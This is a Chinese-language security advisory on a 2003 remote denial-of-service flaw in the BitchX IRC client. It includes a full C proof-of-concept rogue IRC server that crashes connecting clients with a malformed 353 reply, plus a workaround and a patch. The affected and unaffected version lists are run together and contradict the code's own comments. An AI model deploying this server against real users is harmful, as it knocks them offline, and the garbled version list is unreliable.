安全研究
安全漏洞
BitchX畸形RPL_NAMREPLY远程拒绝服务攻击漏洞
发布日期:2003-02-20
更新日期:2003-02-26
受影响系统:
BitchX IRC Client 75.0p3不受影响系统:
BitchX IRC Client 1.0c20cvs
BitchX IRC Client 1.0c19
BitchX IRC Client 1.0c16
BitchX IRC Client 1.0c18描述:
BUGTRAQ ID: 6880
BitchX是一款流行的IRC客户端,可使用在多种操作系统平台下,包括Linux和Windows。
BitchX不正确处理部分包含RPL_NAMREPLY数字的回复,远程攻击者可以利用这个漏洞对BitchX进行拒绝服务攻击,使程序崩溃。
发送畸形的包含RPL_NAMREPLAY数字353的回复应答给BitchX客户端,可导致BitchX崩溃。
<*来源:argv (argv@hushmail.com)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=104554352513997&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/*
* bitchx-353.c
* --argv
* Jan/30/03
*
* Vulnerable:
* BitchX-75p3
* BitchX-1.0c16
* BitchX-1.0c19
* BitchX-1.0c20cvs
*
* Not Vulnerable:
* BitchX-1.0c18 (So far..)
*
*
* Workaround:
* in function funny_namreply()
* after the PasteArgs(Args, 2);
* add in
* -- snip --
* if (Args[1] == NULL || Args[2] == NULL)
* return;
* -- unsnip --
*
* ---- the vuln code of bx -----
* PasteArgs(Args, 2);
* type = Args[0];
* channel = Args[1];
* line = Args[2];
*
* ptr = line;
* while (*ptr)
* {
* while (*ptr && (*ptr != ' '))
* ptr++;
* user_count++;
* while (*ptr && (*ptr == ' '))
* ptr++;
* }
* ------------------------------
*
* [panasync(panasync@colossus.melnibone.org)] you would hope the irc server would be a trusted
source.
* [hellman(hellman@ipv6.gi-1.au.reroute.se)] 'Free porn at /server irc.owned.com'
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
static char shellcode[] = ":* 353 * = :\n"; // <-- this could be something worse.
int acceptConnection(int fd)
{
char *ip_addr;
int descriptor, sal;
struct sockaddr_in sa;
sal = sizeof(sa);
descriptor = accept(fd, (struct sockaddr *) &sa, &sal);
if (descriptor >= 0) {
ip_addr = inet_ntoa(sa.sin_addr);
printf("Connection from %s:%d\n", ip_addr, ntohs(sa.sin_port));
}
return descriptor;
}
int main(int argc, char **argv)
{
int sock, serv, port;
struct sockaddr_in server;
port = 6667;
if (argc > 1)
port = atoi(argv[1]);
memset(&server, 0, sizeof(server));
server.sin_port = htons(port);
server.sin_family = AF_INET;
server.sin_addr.s_addr = INADDR_ANY;
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &serv, sizeof(int));
if (bind(sock, (struct sockaddr *) &server, sizeof(struct sockaddr_in))
== -1) {
return 0;
}
listen(sock, 1);
while (1) {
serv = acceptConnection(sock);
write(serv, shellcode, strlen(shellcode));
close(serv);
}
return 0;
}
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* argv@hushmail.com提供了第三方补丁:
- -----begin BitchX-1.0c20cvs-353.diff-----
diff -Nru BitchX.orig/source/funny.c BitchX/source/funny.c
- --- BitchX.orig/source/funny.c Sun Feb 16 18:34:16 2003
+++ BitchX/source/funny.c Sun Feb 16 18:39:56 2003
@@ -260,7 +260,10 @@
type = Args[0];
channel = Args[1];
line = Args[2];
- -
+ if (channel == NULL || line == NULL) {
+ bitchsay("Invalid number of arguments for %s", __FUNCTION__);
+ return;
+ }
ptr = line;
while (*ptr)
{
- -----end BitchX-1.0c20cvs-353.diff-----
厂商补丁:
BitchX
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
Gentoo Linux用户建议运行'net-irc/bitchx'的用户使用如下命令进行升级:
emerge sync
emerge -u bitchx
emerge clean
浏览次数:3085
严重程度:0(网友投票)
绿盟科技给您安全的保障